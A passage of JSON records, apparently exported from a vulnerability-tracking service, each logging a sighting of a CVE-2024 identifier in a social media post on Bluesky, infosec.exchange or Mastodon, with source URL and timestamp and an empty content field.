"author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12328", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7taw57jy2x", "content": "", "creation_timestamp": "2025-01-08T09:15:34.211904Z"}, {"uuid": "0ffa3ce2-d5c2-42aa-a21b-0a38cbb90c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12855", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7tayimed22", "content": "", "creation_timestamp": "2025-01-08T09:15:36.465852Z"}, {"uuid": "22e9aa0c-1528-41dc-a008-7087994201d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791990246161883", "content": "", "creation_timestamp": "2025-01-08T09:19:36.715289Z"}, {"uuid": "3fedd6ce-63f1-4cb8-b8b8-e5362c47cfb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791990278283510", "content": "", "creation_timestamp": "2025-01-08T09:19:37.304652Z"}, {"uuid": "158ab556-8cdd-40a2-bd0d-debe0826787e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113791990262536103", "content": "", "creation_timestamp": "2025-01-08T09:19:37.601292Z"}, {"uuid": "40ac05c7-ae00-4cc6-9681-e00481f36944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12712", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7wltjw2r22", "content": "", "creation_timestamp": "2025-01-08T10:15:21.573800Z"}, {"uuid": "3eaf041d-7348-4e5e-acf2-d13ee346d57b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12853", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7wlvzxq525", "content": "", "creation_timestamp": "2025-01-08T10:15:24.385537Z"}, {"uuid": "eaef1090-2c94-4b7a-bc60-aea7f7cad886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12854", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf7wlyffcf2i", "content": "", "creation_timestamp": "2025-01-08T10:15:26.688448Z"}, {"uuid": "17a8050f-71aa-480a-913b-88fb69fa190b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfgqkkzvlg2m", "content": "", "creation_timestamp": "2025-01-11T03:15:55.934323Z"}, {"uuid": "e81772fe-f7a6-4bb4-b1f9-c34300051047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412560283053", "content": "", "creation_timestamp": "2025-01-17T07:02:40.154540Z"}, {"uuid": "c177c376-d192-4dee-9829-c4faf5b3ce1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412594599964", "content": "", "creation_timestamp": "2025-01-17T07:02:40.704919Z"}, {"uuid": "3d9b1407-c2e8-413b-90d2-7d9814e51fe4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412609311559", "content": "", "creation_timestamp": "2025-01-17T07:02:41.138401Z"}, {"uuid": "716c94ca-73df-47be-b638-2fe324575262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842412623584672", "content": "", "creation_timestamp": "2025-01-17T07:02:41.209266Z"}, {"uuid": "de6826cb-b0df-486b-bca1-83168930f01d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwaqy4j4e2b", "content": "", "creation_timestamp": "2025-01-17T07:15:46.381671Z"}, {"uuid": "94be69b0-d954-491e-8721-8a1d88aedb7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwar33irh2s", "content": "", "creation_timestamp": "2025-01-17T07:15:48.884152Z"}, {"uuid": "0010a389-ed7f-404d-93ac-7da47f684b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwar6ellf2c", "content": "", "creation_timestamp": "2025-01-17T07:15:52.752147Z"}, {"uuid": "e7895787-cba7-4771-ae33-9e972d47a484", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwaraxlah2p", "content": "", "creation_timestamp": "2025-01-17T07:15:55.079435Z"}, {"uuid": "ffca89e1-03a0-48f3-aed3-0e7a1fd28644", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwardg7fl2h", "content": "", "creation_timestamp": "2025-01-17T07:15:57.819439Z"}, {"uuid": "158b8af5-ee06-4d89-8cee-cd27b0bcd86e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842471624487735", "content": "", "creation_timestamp": "2025-01-17T07:17:41.412969Z"}, {"uuid": "a789b6a2-79c2-47e0-a173-1b6905cb1999", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12598", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2cw4fq2k", "content": "", "creation_timestamp": "2025-01-17T07:38:53.088919Z"}, {"uuid": "fce1b8a4-abf7-4cba-87c5-d65e1523ae40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12466", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2d7gme2w", "content": "", "creation_timestamp": "2025-01-17T07:38:53.664528Z"}, {"uuid": "f1ceb379-343f-40e2-b88c-421fb48ceb90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12637", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2djise2i", "content": "", "creation_timestamp": "2025-01-17T07:38:55.254615Z"}, {"uuid": "f01d54e8-1688-46f5-b3a0-9f84cb5b852a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12203", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2dmrth2e", "content": "", "creation_timestamp": "2025-01-17T07:38:55.781464Z"}, {"uuid": "e4b4966e-41cc-493c-83e3-eab988583dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12508", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwc2dqdrk2u", "content": "", "creation_timestamp": "2025-01-17T07:38:56.288346Z"}, {"uuid": "fea68912-3546-4f8a-8ea5-017332a511c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113842753205383757", "content": "", "creation_timestamp": "2025-01-17T08:29:18.073372Z"}, {"uuid": "081fed45-14b4-4021-86fa-16ffe715a9d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwhh4xjnb2b", "content": "", "creation_timestamp": "2025-01-17T09:15:31.552972Z"}, {"uuid": "babfd841-d7c4-4067-850a-9a6247d73347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843027311899255", "content": "", "creation_timestamp": "2025-01-17T09:39:00.468938Z"}, {"uuid": "cd2a9e43-b5b3-47f9-a489-3d2dcf914ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12370", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwj22brkj2q", "content": "", "creation_timestamp": "2025-01-17T09:44:00.667432Z"}, {"uuid": "8b63c026-cf65-4ec5-a2ac-b597f3c135f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843049497825607", "content": "", "creation_timestamp": "2025-01-17T09:44:39.156305Z"}, {"uuid": "568fd70d-66e6-4957-9ea5-a9314a7510fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/113843115436388046", "content": "", "creation_timestamp": "2025-01-17T10:01:26.257865Z"}, {"uuid": "d4deeeb0-738c-4148-a5f1-72d2f4a8daa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwk53fkjs22", "content": "", "creation_timestamp": "2025-01-17T10:03:38.765858Z"}, {"uuid": "8f3b97df-4b5e-42c2-ac2b-f15293ea8d53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwk55fncs22", "content": "", "creation_timestamp": "2025-01-17T10:03:39.734403Z"}, {"uuid": "a3729547-e674-415b-8a73-fdfbffff955a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwk55foc222", "content": "", "creation_timestamp": "2025-01-17T10:03:40.719617Z"}, {"uuid": "5b4ce7c9-e65a-4e79-898a-e151fdc9eb41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwksbgidw2r", "content": "", "creation_timestamp": "2025-01-17T10:15:26.841935Z"}, {"uuid": "0993eb31-5047-449a-9694-dd1ee25c1a7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwksecbhv2t", "content": "", "creation_timestamp": "2025-01-17T10:15:29.881611Z"}, {"uuid": "11f5481d-4908-46ca-82b0-be6f3ef7e5c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lfwl5lwv6k22", "content": "", "creation_timestamp": "2025-01-17T10:21:48.230638Z"}, {"uuid": "87a4c3d2-7b7d-4822-8659-29f9233abf6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843197471243477", "content": "", "creation_timestamp": "2025-01-17T10:22:17.187970Z"}, {"uuid": "b921aeef-6d56-48cd-ba18-aa70325f46ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113843241325152499", "content": "", "creation_timestamp": "2025-01-17T10:33:26.020759Z"}, {"uuid": "10bea62a-8806-454d-be5c-b3fce7da3634", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwmoe5bv62w", "content": "", "creation_timestamp": "2025-01-17T10:49:02.925687Z"}, {"uuid": "ec1c3c75-598d-4a26-a8a0-8b2d0bf45466", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwmoeisrx2g", "content": "", "creation_timestamp": "2025-01-17T10:49:03.654177Z"}, {"uuid": "68c2c2a5-72e5-41cc-9562-6aecb9f048cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwo5kct5e2b", "content": "", "creation_timestamp": "2025-01-17T11:15:26.239132Z"}, {"uuid": "4923c261-df1c-4185-ad1f-926b551edff1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfwo5mtpz42b", "content": "", "creation_timestamp": "2025-01-17T11:15:28.943440Z"}, {"uuid": "df7a35fc-777d-4f15-8fc1-a166d1d23eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113843536835559621", "content": "", "creation_timestamp": "2025-01-17T11:48:36.542665Z"}, {"uuid": "844f68fe-73b9-490d-860d-544c83c5d41c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwpzrhdve2y", "content": "", "creation_timestamp": "2025-01-17T11:49:08.092149Z"}, {"uuid": "bddec75d-2156-4107-83e7-257adfdd0a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwpzrkos42k", "content": "", "creation_timestamp": "2025-01-17T11:49:08.619117Z"}, {"uuid": "8a893956-ff1b-4eb3-88f5-f7cbf7c322f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfwpzro55e2k", "content": "", "creation_timestamp": "2025-01-17T11:49:09.205276Z"}, {"uuid": "10c296bb-a4f8-4334-85fe-0c3970d12f69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12399", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.701467Z"}, {"uuid": "426987f0-f88e-4f09-bef1-51aa5d889e7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12476", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.758018Z"}, {"uuid": "aaf342d4-eaa6-49e5-8cc0-a650acf2a9cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12142", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.811848Z"}, {"uuid": "324e2a46-5be7-42ff-b3e6-9396fac86ccd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12703", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/113843982218783924", "content": "", "creation_timestamp": "2025-01-17T13:41:51.854142Z"}, {"uuid": "21cf58da-2959-447b-9dd0-3d7c7bf7a321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/113844206824737894", "content": "", "creation_timestamp": "2025-01-17T14:38:58.391047Z"}, {"uuid": "294dfa66-b307-4ee5-aab5-dde0ee6f6548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3lfwzjtt6p22y", "content": "", "creation_timestamp": "2025-01-17T14:39:11.400998Z"}, {"uuid": "e8317c66-6c47-4811-ae3a-173508f391a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113844949403748258", "content": "", "creation_timestamp": "2025-01-17T17:47:49.373837Z"}, {"uuid": "fd1201f3-eb24-49e6-8928-5dbb92d90911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lfxfmzzp3t2p", "content": "", "creation_timestamp": "2025-01-17T18:15:42.205446Z"}, {"uuid": "71c778b6-133e-40e9-a202-a5801fe86124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfxgxohooo2h", "content": "", "creation_timestamp": "2025-01-17T18:39:34.684772Z"}, {"uuid": "77c18e05-dfb4-441c-9f7f-a0d04f8d4dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfxgxolewp2e", "content": "", "creation_timestamp": "2025-01-17T18:39:35.273361Z"}, {"uuid": "059cd03d-eddf-42f0-bcc1-e18b9bdf1a7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12084", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-9085cab9-262e38e886f4737e", "content": "", "creation_timestamp": "2025-01-17T18:44:34.902080Z"}, {"uuid": "46662e54-a1e3-476c-89d7-37a127ace5ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113845187088378771", "content": "", "creation_timestamp": "2025-01-17T18:48:17.777936Z"}, {"uuid": "389acd4f-74e3-4347-9451-ae4fbf240e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12535", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5yyeg2t", "content": "", "creation_timestamp": "2025-01-20T21:02:06.581166Z"}, {"uuid": "2ec84f40-3969-4762-ac4d-7fdc4f9d97bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113865629807346067", "content": "", "creation_timestamp": "2025-01-21T09:27:07.693885Z"}, {"uuid": "ccc247ac-2b82-48bf-af0e-ca95492dab7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgamo3ndzq27", "content": "", "creation_timestamp": "2025-01-21T10:15:31.165642Z"}, {"uuid": "2b20654a-90c0-4a3c-b12a-cbaebc1c52b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12558", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad65juo2t", "content": "", "creation_timestamp": "2025-01-20T21:02:07.758812Z"}, {"uuid": "8fb0f568-b90c-4c9b-a8e6-eb7036bf1dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113865629826391092", "content": "", "creation_timestamp": "2025-01-21T09:27:07.756840Z"}, {"uuid": "49ec8a11-5c7e-4343-a239-0848ddc86b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://bsky.app/profile/maik.io/post/3lg75gqiy432o", "content": "", "creation_timestamp": "2025-01-20T20:10:18.864726Z"}, {"uuid": "1beb0876-a04c-48ca-8e19-1b0c581f534c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12157", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5qbk62n", "content": "", "creation_timestamp": "2025-01-20T21:02:04.219034Z"}, {"uuid": "842991eb-05f6-4c77-9620-9f850f23fbe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6bwcp27", "content": "", "creation_timestamp": "2025-01-20T21:02:08.866442Z"}, {"uuid": "52ae951b-19fb-4110-99ef-27d3f401c3ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad5sdja2a", "content": "", "creation_timestamp": "2025-01-20T21:02:04.771007Z"}, {"uuid": "af614fd6-873d-4ee6-8652-729f5ecf27a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad63ddn2c", "content": "", "creation_timestamp": "2025-01-20T21:02:07.105291Z"}, {"uuid": "86e840f8-585c-43cf-a20a-8b352fb71334", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12594", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad67v5327", "content": "", "creation_timestamp": "2025-01-20T21:02:08.258213Z"}, {"uuid": "b8ca2920-3d6e-48f1-892f-4919e3188ed9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lg7ad6e3qq2x", "content": "", "creation_timestamp": "2025-01-20T21:02:09.436208Z"}, {"uuid": "f7eb36c0-4410-477c-b99b-e642a936462b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/opsmatters.bsky.social/post/3lg7vjhsy2b23", "content": "", "creation_timestamp": "2025-01-21T03:21:20.194767Z"}, {"uuid": "4682ea11-f31f-4675-9351-4a81ffa19763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "https://bsky.app/profile/decrypt.lol/post/3lga5nilt5x2i", "content": "", "creation_timestamp": "2025-01-21T05:46:46.024832Z"}, {"uuid": "43168818-2c44-48cd-a918-6ddbb6ba1f9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12005", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgaoklkoip2e", "content": "", "creation_timestamp": "2025-01-21T10:49:21.521963Z"}, {"uuid": "a4c620fc-16f5-4e02-8354-508ce4c5de95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12104", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgaoklnzwm2e", "content": "", "creation_timestamp": "2025-01-21T10:49:22.062051Z"}, {"uuid": "16d397c8-e6d8-40d0-9ab1-e983629bec96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 